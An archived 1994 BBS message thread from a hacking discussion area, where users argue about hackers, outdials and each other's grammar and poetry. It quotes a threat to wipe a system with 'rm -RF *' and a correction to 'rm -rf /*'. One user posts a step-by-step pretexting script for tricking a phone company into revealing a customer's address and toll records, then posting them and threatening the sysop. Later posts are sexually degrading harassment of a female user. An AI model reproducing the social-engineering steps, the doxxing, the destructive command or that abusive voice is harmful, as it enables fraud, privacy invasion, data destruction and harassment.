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Date: Sat Aug 13 16:12:24 1994
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heehee...just go and read anarchy sometime cos...then you'll be REALLY
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amused by spider boy....
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natalie
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From Deluge@yabbs Sat Aug 13 16:18:21 1994
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From: Deluge@yabbs
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To: GPF@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 16:18:21 1994
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Sounds like spiderman watched Wargames a few too many times.
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Da'Luge
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From Justbob@yabbs Sat Aug 13 16:52:35 1994
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From: Justbob@yabbs
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To: dmonger@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 16:52:35 1994
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>hmmm, tough choice ... memorize silly acronyms so i can sound cool to my
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>loozer |-|/\|<3R friends, or learn some useful things on my own and write
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>bots to annoy people
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>
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>
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>you make the call
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*screams fromn the stands*
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TAKE DOOR NUMBER THREE!!
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er...uh...I mean the bot!
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From -DuCK-@yabbs Sat Aug 13 18:06:05 1994
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From: -DuCK-@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 18:06:05 1994
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i am
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like you care though
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From brael@yabbs Sat Aug 13 18:55:05 1994
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From: brael@yabbs
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To: -DuCK-@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 18:55:05 1994
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htoaster was sayin it was illegal to post internet outdials a few back..
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its perfectly legal as long as the modems r configured for local calls and
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there isn't an unauthorized access is prohibited message upon login..
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with that in mind can some1 kickdown a 602 and 212 od?. i have
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all the od's from BlackAdders file which ill post on request..
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From -DuCK-@yabbs Sat Aug 13 19:25:01 1994
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From: -DuCK-@yabbs
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To: brael@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 19:25:01 1994
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> htoaster was sayin it was illegal to post internet outdials a few
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> back.. its perfectly legal as long as the modems r configured for
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> local calls and there isn't an unauthorized access is prohibited
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> message upon login.. with that in mind can some1 kickdown a 602
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> and 212 od?. i have all the od's from BlackAdders file which ill
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> post on request..
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why the hell would i care?
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Did i post dialouts? I don't remember doing it, i don't believe i did..
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So, please, don't accuse me of participating in such practices.. hehe
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oh, well, whatever.. i'm not gonna post them anywayz, so, bye
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From htoaster@yabbs Sat Aug 13 19:56:30 1994
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From: htoaster@yabbs
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To: brael@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sat Aug 13 19:56:30 1994
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In message re: gpf another yalk HO?, brael said:
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> htoaster was sayin it was illegal to post internet outdials a few back..
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> its perfectly legal as long as the modems r configured for local calls and
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> there isn't an unauthorized access is prohibited message upon login..
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> with that in mind can some1 kickdown a 602 and 212 od?. i have
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> all the od's from BlackAdders file which ill post on request..
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in my mind unless a machine explicitly states that anyone is welcome to use it
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(like yabbs) it should be considered private...
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alex
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From GPF@yabbs Sun Aug 14 02:29:45 1994
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From: GPF@yabbs
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To: all@yabbs
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Subject: this is just too much!
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Date: Sun Aug 14 02:29:45 1994
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i received the following mail from page today, who has been using the smtp
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port to send me irritating mail, and is apparently also under the delusion
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that he is a hacker, i found this message to be so amusing that i thought
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i'd post it for the rest of you to get a good laugh at :)
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----------------
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Date: Sun, 14 Aug 94 00:12 EDT
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Subject: I am gonna crash yer system d00d
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You think you are hot shit GPF??? Well times a coming to you pal.
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I am the best haqer alive and you and your shitty hordes cannot stop me!
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Beware, I will hack your system and rm -RF * the whole damn drive lamer!
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A real hacker on yabbs
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----------------
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and no, i suppose he isn't aware that unix is case sensitive, oh well...
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From Montie@yabbs Sun Aug 14 03:12:41 1994
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From: Montie@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sun Aug 14 03:12:41 1994
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I am extremely amused
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Montie
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From BLynch@yabbs Sun Aug 14 03:15:57 1994
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From: BLynch@yabbs
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To: htoaster@yabbs
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Subject: re: ???
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Date: Sun Aug 14 03:15:57 1994
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uh...naw, it's not 'cryption, but man this line noise really sucks!
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hehehe. later.
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From Quetzal@yabbs Sun Aug 14 12:14:31 1994
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From: Quetzal@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sun Aug 14 12:14:31 1994
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I thought we were done with this HOLY WAR!
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This area reminds me of the bud lite commercial:
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Taste Great /Less filling
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I'm a hacker/You are not a hacker
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From cosmos@yabbs Sun Aug 14 16:39:45 1994
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From: cosmos@yabbs
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To: Quetzal@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sun Aug 14 16:39:45 1994
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In message re: gpf another yalk HO?, Quetzal said:
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> I thought we were done with this HOLY WAR!
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> This area reminds me of the bud lite commercial:
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> Taste Great /Less filling
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> I'm a hacker/You are not a hacker
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Then why are you addressing this shit to me?? I aint said jack about the
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recent posts mate. I am amused. That is all.
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Cosmos
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From Quetzal@yabbs Sun Aug 14 18:46:36 1994
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From: Quetzal@yabbs
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To: cosmos@yabbs
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Subject: re: gpf another yalk HO?
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Date: Sun Aug 14 18:46:36 1994
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SORRY Cosmos... just got caught up in the vicious circle :)
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Quetzal
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From cortex@yabbs Mon Aug 15 04:13:23 1994
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From: cortex@yabbs
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To: all@yabbs
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Subject: re: gpf another yalk HO?
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Date: Mon Aug 15 04:13:23 1994
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private shmiveate, dont you ever wonder what there hiding behind the big
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black curten of a password?
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From cortex@yabbs Mon Aug 15 04:15:27 1994
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From: cortex@yabbs
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To: GPF@yabbs
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Subject: re: this is just too much!
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Date: Mon Aug 15 04:15:27 1994
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he actualy said d00d? i havent seen that in a LONG time
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i wonder how he actualy managed to get on internet? isnt there an idiot
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passcheck or something?
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From Famine@yabbs Mon Aug 15 04:59:50 1994
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From: Famine@yabbs
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To: GPF@yabbs
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Subject: re: this is just too much!
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Date: Mon Aug 15 04:59:50 1994
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In message this is just too much!, GPF said:
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> i received the following mail from page today, who has been using the smtp
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> port to send me irritating mail, and is apparently also under the delusion
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> that he is a hacker, i found this message to be so amusing that i thought
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> i'd post it for the rest of you to get a good laugh at :)
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>
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-10/10 for lack of originality
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>
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> ----------------
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> Date: Sun, 14 Aug 94 00:12 EDT
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> Subject: I am gonna crash yer system d00d
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>
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> You think you are hot shit GPF??? Well times a coming to you pal.
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> I am the best haqer alive and you and your shitty hordes cannot stop me!
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>
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> Beware, I will hack your system and rm -RF * the whole damn drive lamer!
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>
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> A real hacker on yabbs
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>
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> ----------------
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>
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> and no, i suppose he isn't aware that unix is case sensitive, oh well...
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>
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Yes important but I think the more important part if rm -rf /* after all
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* will only zap current working down. I think any competent user would
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know this and the case sensitivity of UNIX especially if they have logged in
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in upper case.
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I suppose the most important fact being only crackers call themselves hackers
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Real Hackers are given this title by their peers.
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Lets face facts cracking is sad and irresponsible it causes problems to
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legitmate users of a system, such as the above rm would if the person that
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attempted it knew anything worth knowing.
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Famine(just hoping that this guy gets caught before he gets some sad
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code like crack etc)
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From Typhon@yabbs Mon Aug 15 13:25:00 1994
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From: Typhon@yabbs
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To: GPF@yabbs
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Subject: re: this is just too much!
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Date: Mon Aug 15 13:25:00 1994
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You get the nicest mail, GPF...
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Typhon the Execrable
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From cortex@yabbs Mon Aug 15 18:22:47 1994
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From: cortex@yabbs
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To: Famine@yabbs
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Subject: re: this is just too much!
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Date: Mon Aug 15 18:22:47 1994
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well i would just like to say its nice to have run into at least one
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person who knows the difference between hackers and crackers
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cortex
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From Skywise@yabbs Tue Aug 16 13:25:54 1994
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From: Skywise@yabbs
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To: arachnoi@yabbs
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Subject: re: gpf another yalk HO?
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Date: Tue Aug 16 13:25:54 1994
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y00 R @ /=R3ak 0f |\|@tUr3
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From Skywise@yabbs Tue Aug 16 13:30:10 1994
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From: Skywise@yabbs
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To: cortex@yabbs
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Subject: re: gpf another yalk HO?
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Date: Tue Aug 16 13:30:10 1994
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hehehe nice try bart
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From bart@yabbs Tue Aug 16 14:07:04 1994
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From: bart@yabbs
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To: Skywise@yabbs
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Subject: re: gpf another yalk HO?
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Date: Tue Aug 16 14:07:04 1994
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Skywise Fondled the Phollowing...
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hehehe nice try bart
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-----------------------
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uhmm what?
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Bart
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From Optimus@yabbs Wed Aug 17 12:55:50 1994
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From: Optimus@yabbs
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To: all@yabbs
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Subject: New
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|
Date: Wed Aug 17 12:55:50 1994
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|
I am a new to the internet and I was wandering were can I find
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|
information on hacking, phreaking and all that good stuff. If someone can
|
|
tell me where to get started, it would help alot!!
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|
From maedhros@yabbs Wed Aug 17 14:55:53 1994
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|
From: maedhros@yabbs
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|
To: Optimus@yabbs
|
|
Subject: re: New
|
|
Date: Wed Aug 17 14:55:53 1994
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|
|
In message New, Optimus said:
|
|
> I am a new to the internet and I was wandering were can I find
|
|
> information on hacking, phreaking and all that good stuff. If someone can
|
|
> tell me where to get started, it would help alot!!
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|
>
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|
Start with some essential literature.
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|
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|
Get a copy of UNIX system V release 4 system administator's guide and
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|
user's reference manual (assuming you're using UNIX, if not find another
|
|
source) by Prentice Hall. While you're at it grab some C manuals. Read,
|
|
read, read, read...
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|
Now goto USENET and start reding comp.security, comp.admin and any other
|
|
comp. groups that float your boat. When the post start making sense and
|
|
you're actually following the discussion without looking everything up in
|
|
your trusty manuals...
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|
|
|
come back and ask the question again. Seriously. This isn't a flame. If
|
|
you're new to the net, you wont be hacking anything but a manual.
|
|
Besides, if you read the manual first, you'll find the answers to most of
|
|
the questions you had in the first place.
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Maedhros /\
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|
/--\
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/ \
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P.S. I said watch USENET, not post to it. The quickest way to piss
|
|
everyone off is a newbie, who hasn't read the manual, asking silly questions.
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From balistic@yabbs Wed Aug 17 15:33:29 1994
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|
From: balistic@yabbs
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|
To: Optimus@yabbs
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|
Subject: re: New
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|
Date: Wed Aug 17 15:33:29 1994
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|
|
I could tell you but then I'd have to kill you . . .
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|
balistic
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|
From cosmos@yabbs Wed Aug 17 16:19:38 1994
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|
From: cosmos@yabbs
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|
To: Optimus@yabbs
|
|
Subject: re: New
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|
Date: Wed Aug 17 16:19:38 1994
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|
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|
Standard Disclaimer: Large caliber handgun, close range.
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|
Cosmos
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|
From dmonger@yabbs Wed Aug 17 17:33:41 1994
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|
From: dmonger@yabbs
|
|
To: maedhros@yabbs
|
|
Subject: re: New
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|
Date: Wed Aug 17 17:33:41 1994
|
|
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|
good answer
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|
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|
and one that didn't involve phrack or alt.2600 :)
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|
-peter
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From Typhon@yabbs Wed Aug 17 18:51:51 1994
|
|
From: Typhon@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: New
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|
Date: Wed Aug 17 18:51:51 1994
|
|
|
|
Why do you want him to use one one you?
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|
|
Typhon the Acerbic
|
|
|
|
From cosmos@yabbs Wed Aug 17 22:47:29 1994
|
|
From: cosmos@yabbs
|
|
To: Typhon@yabbs
|
|
Subject: re: New
|
|
Date: Wed Aug 17 22:47:29 1994
|
|
|
|
In message re: New, Typhon said:
|
|
> Why do you want him to use one one you?
|
|
|
|
What??!!! Can't any of you stupid fucks speak english??? Is it that
|
|
fucking hard to write a grammaticaly correct sentence???
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|
|
|
Christ...
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|
Cosmos
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|
From dmonger@yabbs Wed Aug 17 23:21:55 1994
|
|
From: dmonger@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: New
|
|
Date: Wed Aug 17 23:21:55 1994
|
|
|
|
In message re: New, cosmos said:
|
|
> What??!!! Can't any of you stupid fucks speak english??? Is it that
|
|
> fucking hard to write a grammaticaly correct sentence???
|
|
|
|
geeee, sohrey cozmoze, sume ov uhs computtr geex just cant tahk inglish
|
|
tu wel
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|
-peter
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|
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|
From Xela@yabbs Thu Aug 18 01:36:48 1994
|
|
From: Xela@yabbs
|
|
To: Optimus@yabbs
|
|
Subject: re: New
|
|
Date: Thu Aug 18 01:36:48 1994
|
|
|
|
Ask cosmos. He always has a spare minute to help a new hacker/cracker on
|
|
his way in the world.
|
|
|
|
X
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|
|
|
From Typhon@yabbs Thu Aug 18 08:56:45 1994
|
|
From: Typhon@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: New
|
|
Date: Thu Aug 18 08:56:45 1994
|
|
|
|
As I've gramatically thrashed you before, gitmo, I'll let your massive
|
|
stockpile of ignorance go. (Can't even recgognize a damn typo, and calls
|
|
US stupid. Sheesh.)
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|
|
|
Typhon The Placid
|
|
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|
From Optimus@yabbs Thu Aug 18 09:45:29 1994
|
|
From: Optimus@yabbs
|
|
To: Xela@yabbs
|
|
Subject: re: New
|
|
Date: Thu Aug 18 09:45:29 1994
|
|
|
|
Is that true cosmos?? Do you help up and coming hackers get started??
|
|
|
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|
|
From Natalie@yabbs Thu Aug 18 16:18:07 1994
|
|
From: Natalie@yabbs
|
|
To: Optimus@yabbs
|
|
Subject: re: New
|
|
Date: Thu Aug 18 16:18:07 1994
|
|
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|
*smirk*smirk*smirk*
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|
|
|
*waits for the inevitable advice*
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|
|
|
natalie
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|
From Xela@yabbs Fri Aug 19 01:28:02 1994
|
|
From: Xela@yabbs
|
|
To: Optimus@yabbs
|
|
Subject: Absoliutely...
|
|
Date: Fri Aug 19 01:28:02 1994
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|
|
"Is that true cosmos?? Do you help up and coming hackers get started??"
|
|
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|
Hey, like I said, ask him yourself. I'm sure he has plenty to tell you.
|
|
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|
X
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|
From brael@yabbs Fri Aug 19 06:39:02 1994
|
|
From: brael@yabbs
|
|
To: Optimus@yabbs
|
|
Subject: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 06:39:02 1994
|
|
|
|
|
|
If u wanna be reel c00l.. this is what ya need to do buddy..
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|
|
|
1) realize that all that matters in life is getting wares without
|
|
uploading or making any sacrifice on your part.
|
|
2) realize that in order to reach this goal you need to become a
|
|
computer terrorist capable of ph1lthy threats.
|
|
3) find the number of a fatty wAreZ BBS run by some local junior high
|
|
gimpstress.
|
|
|
|
4) call the CSSC (thats AT&T Customer Sales and Service Center)
|
|
which is @ 1-8oo-222-o3oo
|
|
|
|
5) say, "Hello there, this is John Draper here at SouthWestern
|
|
administrative offices and my supervisor seems to be having a bit of
|
|
trouble with RCAM this morning and we are looking to check the status
|
|
on an account..,now where did i put that, oh yes here it is, could u
|
|
do us a big favor and look up an account for us?"
|
|
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|
after he/sh3 says yes push mute on your phone and yell "SucKahGEtsMILKED!"
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|
7) release mute, regain your composure, and tell them the number to the
|
|
bbs
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|
8) after they tell you that it's a live account ask for the address. and
|
|
if need be ask them to read off recent toll charges on the line.
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|
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9)call up WaRez b Us BBS and in the new user form state that ur a member
|
|
MoD/LoD/MoB/DoD and u need wares now.. be sure to post the sysops address
|
|
and post all the info you got on the individual after calling the numbers
|
|
you recieved after aquiring the recent toll charges. say its simple..
|
|
i want sysop access and total control and domination. if i dont get what
|
|
i want then i'll kill ur pets. im not going to upload anything, you were
|
|
put on this earth to serve me you lowly little simon and garfunkel fan u.
|
|
accept this state of domination and thrive in it child....
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|
this is the ubercracker's 1st step to taking over the universe..
|
|
brael@crl.com
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|
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|
p.s.
|
|
WHEN IN FUCKING HELL IS ANYONE HERE GOING TO STOP THE GRAMMAR BITCHING
|
|
AND POST SOMETHING USEFUL!!.. the mindless banter has to go....
|
|
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From Natalie@yabbs Fri Aug 19 07:53:08 1994
|
|
From: Natalie@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 07:53:08 1994
|
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|
how lame. but then again, we should expect that from you, you warez baby
|
|
you. lame lame lame.
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|
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|
natalie
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From Justbob@yabbs Fri Aug 19 17:04:14 1994
|
|
From: Justbob@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 17:04:14 1994
|
|
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|
I thought it was good *teehee* improbable, but good :)
|
|
(Unless of course, any portion of that was intended seriously, in which
|
|
case it sucks :)
|
|
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|
From Natalie@yabbs Fri Aug 19 17:08:46 1994
|
|
From: Natalie@yabbs
|
|
To: Justbob@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 17:08:46 1994
|
|
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|
oh, have you been reading brael's other posts? *smirk* it's ok satire, but
|
|
kinda lame nonetheless.
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|
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|
natalie
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|
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|
From brael@yabbs Fri Aug 19 17:31:03 1994
|
|
From: brael@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 17:31:03 1994
|
|
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|
Gee Natalie, I shoulda known you'd have the CSSC wired..:(
|
|
I was planning to post more on LAC's, PacBell's TAN network,
|
|
CHAPS, How to forward lines thru COSMOS/DMS-100's/1a's/C.O...
|
|
and possibly some other neet topics (all hidden by my slick doses
|
|
of satire so fools like you pass the messages by) but idiots like
|
|
you just make me say fuck it.
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|
|
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|
|
brael@crl.com
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|
From brael@yabbs Fri Aug 19 17:33:36 1994
|
|
From: brael@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 17:33:36 1994
|
|
|
|
Natalie, you're a fucking freak. The only reason why anyone talks to
|
|
you is because you give every guy the impression that they can stick
|
|
their cock in you if they bow down to your bitchlike self.
|
|
how can you respect yourself you silly little girl?..
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|
brael@crl.com
|
|
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|
From cosmos@yabbs Fri Aug 19 17:42:36 1994
|
|
From: cosmos@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 17:42:36 1994
|
|
|
|
In message re: I wanna b a ubercrackerjack, brael said:
|
|
> Natalie, you're a fucking freak. The only reason why anyone talks to
|
|
> you is because you give every guy the impression that they can stick
|
|
> their cock in you if they bow down to your bitchlike self.
|
|
> how can you respect yourself you silly little girl?..
|
|
>
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|
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|
Actually, I talk to nat because she blows...but then again, she is the
|
|
hacker babe...
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|
Cosmos
|
|
|
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|
From Natalie@yabbs Fri Aug 19 18:36:23 1994
|
|
From: Natalie@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 18:36:23 1994
|
|
|
|
uh uh uh...never ever EVER call me an idiot. and i wouldn't exactly call
|
|
your satire slick. i thought it was rather lame. and stupid. but hey,
|
|
i'm just getting a degree in that kind of thing, so what the hell would i
|
|
know about something like satire or parody?
|
|
|
|
natalie
|
|
|
|
From Natalie@yabbs Fri Aug 19 18:40:00 1994
|
|
From: Natalie@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Fri Aug 19 18:40:00 1994
|
|
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hmmm...a fucking freak eh? well, while i consider myself a freak, i don't
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exactly run around and fuck every person that comes along. and, to be
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quite frank, you don't know one damnedthing about me, so don't you ever
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assume anything like that about me again.
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natalie
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who is tired of being told what she is by others
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From Natalie@yabbs Fri Aug 19 18:40:40 1994
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From: Natalie@yabbs
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To: cosmos@yabbs
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Subject: re: I wanna b a ubercrackerjack
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Date: Fri Aug 19 18:40:40 1994
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no cos, i really really suck. get it right, 'k? ;)
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natalie
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THE hacker babe
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From brael@yabbs Fri Aug 19 20:55:11 1994
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From: brael@yabbs
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To: Natalie@yabbs
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Subject: stupid idiot bitch.
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Date: Fri Aug 19 20:55:11 1994
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Where the hell do you get off on being so goddamn judgemental
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Natalie?. Life is not about sitting on your little high horse
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judging everything that crosses your path, you miss lots girl.
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If you think my satire/parody post is so lame.. (and it may well be)
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post your own satire you english major you, and show me up instead
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of saying, ur lame ur lame ur lame.. so what if your a fucking english
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major.. im a CSc major and i've been published/paid for
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fiction/sci-fi/technical articles.. I bet you've never even sent out
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a single query letter to a lit-mag/publishing house in your life..
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im so sick of everyone being so judgemental.. Natalie, pull the 17inch
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john holmes dildo out of ur asshole and take a breather..
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I post a message trying to teach all you novices out there how to use
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the CSSC to your advantage.. (besides heckling wareZ ppl it can be used to
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identify scanned systems, doing investigative work, and can be manipulated
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to erase all toll charges from a phone bill) and i get your ignorance
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in my face.. you need a good slap in the face you fucking idiot bitch..
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get a clue.
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brael
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From brael@yabbs Fri Aug 19 20:57:41 1994
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From: brael@yabbs
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To: Natalie@yabbs
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Subject: re: I wanna b a ubercrackerjack
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Date: Fri Aug 19 20:57:41 1994
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*smirk*.. *smirk*.. *smirk*.. that's all you seem to do you
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freak english major bitch.. i want to see some literary power
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from ya .. stupid cute ass smirks don't cut it slut..
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brael.
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From robtelee@yabbs Fri Aug 19 21:14:07 1994
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From: robtelee@yabbs
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To: brael@yabbs
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Subject: re: I wanna b a ubercrackerjack
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Date: Fri Aug 19 21:14:07 1994
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Lighten up asshole !
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From Natalie@yabbs Fri Aug 19 21:15:12 1994
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From: Natalie@yabbs
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To: brael@yabbs
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Subject: re: stupid idiot bitch.
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Date: Fri Aug 19 21:15:12 1994
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hmmm...talk about being judgemental. take a look in the mirror, buddy.
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and i don't think that being published counts so much as trying to make
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your art as good as you possibly can. and no, i haven't sent my work out
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yet because i'm still not satisfied with it. i have some pride in my
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work.
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and as to USING the CSSC to your advantage, I think it's a load of shit,
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ok. i have never claimed to be a hacker. nor a phreaker. i don't
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necessarily believe that the laws concerning computers and
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telecommunications are right, but i have no need to break them either. i
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try to live my whole life like that. if it doesn't bother me, i don't
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bother it. it's called tolerance. look it up someday, you might learn
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something
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natalie
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who is only intolerant of intolerance
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From Natalie@yabbs Fri Aug 19 21:22:18 1994
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From: Natalie@yabbs
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To: brael@yabbs
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Subject: read 'em and weep
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Date: Fri Aug 19 21:22:18 1994
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ok. you want literary power, you got it, buddy boy.
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poem 1
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Surrounded by a pale light, he came,
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As she lay on the ground,
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Lifting her up, he carried her to the sky,
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Where she was with others
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Pale strange wispy creatures
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And she thought she would be...
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The Sphinx looked down
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Upon her tear streaked face
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And he cried himself.
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poem 2
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I lay on the bed alone, and you joined me.
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You slid your hand under the edge of my shirt,
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Rested it on my stomach,
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Gently kissed my neck,
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And went to sleep.
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I woke up in your arms and was happy.
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poem 3
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it infiltrates our lives
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like a burrowing parasite
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leeches off us sucking us of our life
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a vampire
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we feel the pull become addicted
|
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and have to be pulled away
|
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nothing can break this addiction
|
|
unless we want to and the treasures
|
|
it shows us are too many to
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comprehend
|
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deeper and deeper we go
|
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the horror
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|
the horror
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|
into the abyss
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dark dank and limitless
|
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we are stripped of all but our souls
|
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floating
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disembodied
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sparks of life
|
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in the machine
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i apologize for this being so darned off topic, but no one, and i mean NO
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ONE (but myself) questions my literary talent and gets away with it.
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natalie
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From robtelee@yabbs Fri Aug 19 21:32:58 1994
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From: robtelee@yabbs
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To: Natalie@yabbs
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Subject: re: read 'em and weep
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Date: Fri Aug 19 21:32:58 1994
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I GOT MSG # 1500 ! ! ! !
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oops ! *regains his self control*
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You tel him nat....If the idiot would botherreading in the poetry base he
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could see that there is some talent in your blood for creativity.
|
|
Fuck 'em and feed 'em fish !
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*apologizes for his lack of control*
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robtelee
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From Natalie@yabbs Fri Aug 19 21:53:01 1994
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From: Natalie@yabbs
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To: robtelee@yabbs
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Subject: re: read 'em and weep
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Date: Fri Aug 19 21:53:01 1994
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i really don't want to fuck brael. i'm sure he's got a nasty disease of
|
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some sort. and i like to remain disease free. just one of my many little
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quirks.
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natalie
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From dmonger@yabbs Fri Aug 19 22:36:30 1994
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From: dmonger@yabbs
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To: brael@yabbs
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Subject: re: stupid idiot bitch.
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Date: Fri Aug 19 22:36:30 1994
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When was the labotomy?
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-peter
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From Skywise@yabbs Sat Aug 20 00:22:17 1994
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From: Skywise@yabbs
|
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To: brael@yabbs
|
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Subject: re: stupid idiot bitch.
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Date: Sat Aug 20 00:22:17 1994
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Good evening! I'm accepting new applications for the I Wanna Mutilate
|
|
Brael's Pee Wee Mind Shelter With An Apple Corer Club
|
|
Unfortunately...I have a disk quota...so just give me your names, and I'll
|
|
mail you your I Wanna Mutilate Brael's Pee Wee Mind Shelter With An Apple
|
|
Corer tee-shirts within 8-10 weeks. They DO cost $4.95 but they have a
|
|
groovy picture on them.
|
|
I think this is the longest message I've ever written...
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From iggy@yabbs Sat Aug 20 00:38:06 1994
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From: iggy@yabbs
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To: brael@yabbs
|
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Subject: re: stupid idiot bitch.
|
|
Date: Sat Aug 20 00:38:06 1994
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|
Whoa dude. you may have gripe here, but leave the slapping around shit at
|
|
the door. Resorting to tough guy threats on a BBS is really rather
|
|
pathetic.
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|
From iggy@yabbs Sat Aug 20 00:41:46 1994
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From: iggy@yabbs
|
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To: Natalie@yabbs
|
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Subject: re: read 'em and weep
|
|
Date: Sat Aug 20 00:41:46 1994
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OK, cool poem.
|
|
Now just imagine if you hook up with a coder and design a language that
|
|
was functional and poetic. Or at least some functional program that was
|
|
poetic. . . just a thought.
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iggy
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|
- the explorer
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From brael@yabbs Sat Aug 20 08:54:51 1994
|
|
From: brael@yabbs
|
|
To: all@yabbs
|
|
Subject: re: stupid idiot bitch.
|
|
Date: Sat Aug 20 08:54:51 1994
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the slapping around is not to be taken seriously..just a figure of
|
|
speech.
|
|
|
|
my apologizes fly to everyone.. I saw a #hack message base. hacking
|
|
interests me. I wanted to learn but when I ask a question I get ragged
|
|
for my grammar (WotsISC) I wanted to teach but I get bitched out for
|
|
shitty satire when the point is some intro-phreaking tips. I post
|
|
sensitive
|
|
material in slang because it acts as camoflauge against hard-nose bastards
|
|
out to bust hackers in a Clifford Stolesque fashion and people don't take
|
|
you seriously. would be narcs pass over you.. Fuck, i even sneaked a DMS
|
|
default account in one last post that someone paid me bank to find out.
|
|
whatever..my last post. have good lives all and i'll be the first to buy
|
|
one of your little t-shirts skYw1Ze.. later.
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brael
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From Justbob@yabbs Sat Aug 20 09:07:50 1994
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|
From: Justbob@yabbs
|
|
To: all@yabbs
|
|
Subject: re: stupid idiot bitch.
|
|
Date: Sat Aug 20 09:07:50 1994
|
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|
|
Is it me or has this base gone downhill?
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|
From cortex@yabbs Sat Aug 20 14:39:49 1994
|
|
From: cortex@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Sat Aug 20 14:39:49 1994
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|
|
i thought it was too true, funny though
|
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|
|
From cortex@yabbs Sat Aug 20 14:42:12 1994
|
|
From: cortex@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Sat Aug 20 14:42:12 1994
|
|
|
|
how come it always(well almost always) turns out that the more educated
|
|
people get, the more they believe that they know all and dont have to shut
|
|
there damn mouth for anything?
|
|
|
|
From cortex@yabbs Sat Aug 20 14:46:32 1994
|
|
From: cortex@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sat Aug 20 14:46:32 1994
|
|
|
|
how come you wont let anybody question your talent? most people while not
|
|
like ing criticizm, accept it because it can point out flaws, that need
|
|
work. and is your ego so big that you think you are some sort of super
|
|
writer? personaly i found the poems pointless
|
|
|
|
From ButtrBoy@yabbs Sat Aug 20 16:05:19 1994
|
|
From: ButtrBoy@yabbs
|
|
To: all@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sat Aug 20 16:05:19 1994
|
|
|
|
whew! this is too much!
|
|
too many misunderstandings, too much bickering.
|
|
i kinda liked brael, myself.
|
|
and i kinda like cosmos, too. just 'cos someone's got the
|
|
know-how to show how don't mean they got a bad attitude too,
|
|
y'know, even if it comes off that way.
|
|
I talked to Cosmos b4 on the talk thang, and he knows what's
|
|
up, in regards to os's and un*xes and shit. Me imma setup a
|
|
MacBSD 40-meg partition on my old machine, i was wondering
|
|
how much i should use for swap, i got 230 megs. The first
|
|
non-beta version of it was released by the alice people
|
|
a few weeks ago...any suggestions?
|
|
Also, anyone know anything about pagers? My phrend just
|
|
gave me one, and i dunno if it's hot or what, or how to
|
|
set up service for it.
|
|
oh--p.s. i have a new zine out, Samizdat, and it will kick
|
|
your ass. MRR and Factsheet 5 will review it this month,
|
|
if you wanna wait for that, but otherwise you can send a
|
|
message to me and i'll give you my address and all.
|
|
trades cool too.
|
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|
buttrboy@cyberspace.org
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|
.
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|
.
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From scudder@yabbs Sat Aug 20 20:16:59 1994
|
|
From: scudder@yabbs
|
|
To: all@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sat Aug 20 20:16:59 1994
|
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|
|
|
|
Well folks we should be proud. We've achieved the level of intelligence
|
|
that the IRC channel of this name posesses.
|
|
|
|
From htoaster@yabbs Sat Aug 20 22:58:15 1994
|
|
From: htoaster@yabbs
|
|
To: scudder@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sat Aug 20 22:58:15 1994
|
|
|
|
In message re: read 'em and weep, scudder said:
|
|
> Well folks we should be proud. We've achieved the level of intelligence
|
|
> that the IRC channel of this name posesses.
|
|
|
|
went under it i think...i just had 30 messages to read here with none of
|
|
them saying anything useful...
|
|
|
|
and people wonder why i want to take yabbs offline...
|
|
|
|
alex
|
|
|
|
|
|
From Natalie@yabbs Sun Aug 21 00:04:00 1994
|
|
From: Natalie@yabbs
|
|
To: cortex@yabbs
|
|
Subject: re: I wanna b a ubercrackerjack
|
|
Date: Sun Aug 21 00:04:00 1994
|
|
|
|
cause i know everything, that's why.
|
|
|
|
natalie
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|
|
|
From Natalie@yabbs Sun Aug 21 00:06:09 1994
|
|
From: Natalie@yabbs
|
|
To: cortex@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sun Aug 21 00:06:09 1994
|
|
|
|
oh duh. i love constructive criticism. but i don't like being told that
|
|
my work completely sucks and i have no right in the world being a writer.
|
|
i've been told that before, and i don't like it. and if i want to
|
|
succeed, i have to believe in my work, and one way to do that is to not
|
|
let anyone denigrate what talent (big or small) i may have. and you're
|
|
entitled to your opinion of my poetry. i didn't write them to make a
|
|
point tho. i wrote them to express what i was feeling at the time, and i
|
|
think they do that quite well.
|
|
|
|
natalie
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|
|
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From Natalie@yabbs Sun Aug 21 00:07:13 1994
|
|
From: Natalie@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: read 'em and weep
|
|
Date: Sun Aug 21 00:07:13 1994
|
|
|
|
sorry alex, but i had to defend myself...i just can't ignore being told
|
|
i'm stupid and worthless and deserve to be slapped around.
|
|
